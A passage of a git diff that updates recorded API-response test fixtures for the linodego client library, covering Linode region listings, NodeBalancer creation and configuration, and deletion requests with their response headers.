139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:19 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228211}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441121, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-31.ip.linodeusercontent.com", "ipv4": "172.232.87.31", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694186, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-86-130.ip.linodeusercontent.com", "ipv4": "172.232.86.130", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:19 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441121/configs + url: https://api.linode.com/v4beta/nodebalancers/694186/configs method: POST response: - body: '{"id": 670339, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134760, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441121, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694186, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:19 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339 + url: https://api.linode.com/v4beta/nodebalancers/694186/configs/1134760 method: DELETE response: body: '{}' @@ -431,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +505,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441121 + url: https://api.linode.com/v4beta/nodebalancers/694186 method: DELETE response: body: '{}' @@ -486,15 +521,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,64 +546,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228211 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNode_UpdateInstance.yaml b/test/integration/fixtures/TestNodeBalancerNode_UpdateInstance.yaml index b502dc034..72f344a29 100644 --- a/test/integration/fixtures/TestNodeBalancerNode_UpdateInstance.yaml +++ b/test/integration/fixtures/TestNodeBalancerNode_UpdateInstance.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - 